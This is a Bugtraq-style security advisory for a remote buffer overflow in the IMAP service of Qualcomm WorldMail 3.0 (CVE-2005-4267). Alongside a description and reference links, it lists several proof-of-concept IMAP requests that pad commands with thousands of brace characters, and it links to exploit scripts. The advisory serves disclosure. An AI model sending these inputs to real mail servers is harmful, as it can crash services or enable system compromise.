Qualcomm WorldMail IMAPD Buffer Overflow Vulnerability

Bugtraq ID:	15980
Class:	Boundary Condition Error
CVE:	CVE-2005-4267
Remote:	Yes
Local:	No
Published:	Dec 20 2005 12:00AM
Updated:	Feb 07 2006 08:56PM
Credit:	Tim Shelton is credited with the discovery of this vulnerability.
Vulnerable:	Qualcomm Eudora WorldMail Server 3.0
Not Vulnerable:

Qualcomm WorldMail IMAPD Buffer Overflow Vulnerability

WorldMail IMAPd service is prone to a remote buffer-overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before using it in finite-sized buffers.

An attacker can exploit this issue to crash the server resulting in a denial of service to legitimate users. Arbitrary code execution may also be possible; this may facilitate a compromise of the underlying system.

This issue is reported to affect IMAPd service version 6.1.19.0 of WorldMail 3.0; other versions may also be vulnerable.

Qualcomm WorldMail IMAPD Buffer Overflow Vulnerability


The following proof of concept examples of IMAP requests are available:
'02 LIST ""' + '}'x 5000
'03 LSUB ""' + '}'x 32762
'04 SEARCH TEXT ' + '}'x32762
'05 STATUS INBOX ' + '}'x32764
'02 AUTHENTICATE ' + '}'x32768
'02 FETCH 2:4 ' + '}'x10000
'02 SELECT ' + '}'x10000
'02 COPY 2:4 ' + '}'x32765

The following exploit code is available:

http://www.securityfocus.com/data/vulnerabilities/exploits/eudora_wmail.pl

• /data/vulnerabilities/exploits/eudora_wmail.pl
• /data/vulnerabilities/exploits/Qualcomm-WorldMail-Overflow.py

Qualcomm WorldMail IMAPD Buffer Overflow Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Qualcomm WorldMail IMAPD Buffer Overflow Vulnerability

References:

• Qualcomm WorldMail IMAP Server String Literal Processing Overflow Vulnerability (iDEFENSE)
  
• WorldMail Server Homepage (Qualcomm)